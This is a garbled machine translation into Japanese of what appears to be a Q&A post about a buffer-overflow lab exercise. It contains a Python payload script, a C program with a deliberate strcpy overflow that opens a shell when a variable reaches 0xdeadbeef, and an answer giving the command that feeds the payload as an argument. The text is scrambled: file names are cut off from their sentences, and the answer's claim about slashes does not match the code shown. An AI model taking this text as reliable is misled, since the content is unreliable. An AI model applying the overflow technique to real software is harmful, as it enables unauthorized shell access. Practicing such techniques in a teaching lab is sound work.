私はPythonファイルの標準出力をパイプし、exploit1.py
C実行可能ファイルのコマンドライン引数として受け入れることができるようにしたいと思いますlab2C.c
。私の目的は、charバッファをオーバーフローするlab2C.c
ことによってメモリがint set_me
。
問題は、同じローカルパスに属さない2つの異なるディレクトリにあるexploit1.py
ことです。に横たわっている。パイプを介してstdoutをデフォルトの機能パラメータとして受け入れる方法は?lab2C.c
exploit1.py
/tmp
lab2C
lab2C.c
/levels/lab02
exploit1.py
lab2C
参照できる2つの文書は次のとおりです。
1.py活用:
def main():
print("aaabbbcccdddeee\xef\xbe\xad\xde")
main()
lab2C.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void shell()
{
printf("You did it.\n");
system("/bin/sh");
}
int main(int argc, char** argv){
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
int set_me = 0;
char buf[15];
strcpy(buf, argv[1]);
if(set_me == 0xdeadbeef)
{
shell();
}
else
{
printf("Not authenticated.\nset_me was %d\n", set_me);
}
return EXIT_SUCCESS;
}
ベストアンサー1
Cプログラムは標準入力から読み取られないため、何も標準入力に接続できません。ただし、コマンドライン引数が必要なので、次のように呼び出す必要があります。
/levels/lab02/lab2C.exe "$(python /tmp/exploit1.py)"
現在ある場合は、/levels/lab02
次のように短縮できます。
./lab2C.exe "$(python /tmp/exploit1.py)"
.exe
実行ファイルにサフィックスを追加することはUnixでは一般的ではありません。また、コードにバグがあり(バッファオーバーフローとヘッダーが欠落している)、Pythonコードの文字列は思ったように動作しません(スラッシュはおそらくバックスラッシュでなければなりません)。